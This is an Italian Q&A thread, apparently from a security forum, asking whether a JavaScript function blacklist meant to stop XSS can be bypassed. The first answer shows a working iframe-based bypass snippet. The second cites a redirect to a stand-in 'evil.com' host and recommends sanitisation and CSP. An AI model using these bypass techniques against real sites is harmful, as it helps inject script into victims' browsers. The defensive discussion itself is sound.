Prevenzione XSS tramite JavaScript

1

Sto lavorando su una prevenzione XSS tramite Javascript. Sto usando il seguente codice JS per questo:

(function () {
/*  
XSS prevention via JavaScript 
*/
var XSSObject = new Object();
XSSObject.lockdown = function (obj, name) {
    if (!String.prototype.startsWith) {
        try { 
            if (Object.defineProperty) {
                Object.defineProperty(obj, name, {
                    configurable: false
                });
            }
        } catch (e) { };
    }
}
XSSObject.proxy = function (obj, name, report_function_name, exec_original) {
    var proxy = obj[name];
    obj[name] = function () {
        if (exec_original) {
            return proxy.apply(this, arguments);
        }
    };
    XSSObject.lockdown(obj, name);
};
XSSObject.proxy(window, 'alert', 'window.alert', false);
XSSObject.proxy(window, 'confirm', 'window.confirm', false);
XSSObject.proxy(window, 'prompt', 'window.prompt', false);
XSSObject.proxy(window, 'unescape', 'unescape', false);
XSSObject.proxy(document, 'write', 'document.write', false);
XSSObject.proxy(String, 'fromCharCode', 'String.fromCharCode', true);
})();

Usando lo script, non è possibile eseguire le funzioni alert , confirm , prompt , unescape , write e fromCharCode . C'è un modo per aggirare questa prevenzione? Se sì, come e perché?

    
posta manuel-hoelzl 24.06.2018 - 22:27
fonte

2 risposte

1

Sì, ci sono modi per aggirare questa misura di sicurezza. Come sottolineato in un commento:

var iframe = document.createElement('iframe');
iframe.srcdoc = '';
document.body.appendChild(iframe);
iframe.contentWindow.alert.call(window, 'hello');

Il problema è che la lista nera delle singole funzioni in un linguaggio così complesso è un esercizio di futilità. Cercare di prevenire gli attacchi del mondo reale tramite la lista nera è decisamente riduttivo.

    
risposta data 25.06.2018 - 05:36
fonte
0

Alcune delle funzioni che hai menzionato, alert , confirm , prompt , sono spesso usate solo da persone che vogliono dimostrare che esiste un XSS creando un PoC.

Esistono innumerevoli altri modi per attivare XSS in base al punto di iniezione e al tipo di payload, ad esempio utilizzando location.href='https://evil.com per caricare uno script da un altro sito, senza avvisare la vittima di alcun comportamento sospetto.

Il modo corretto per ridurre al minimo l'XSS è sanare l'input dell'utente e implementare una politica CSP rigorosa . Fai riferimento al foglio Cheat di prevenzione di OWASP XSS per un elenco non esauribile di misure che puoi adottare.

    
risposta data 26.06.2018 - 09:57
fonte

Leggi altre domande sui tag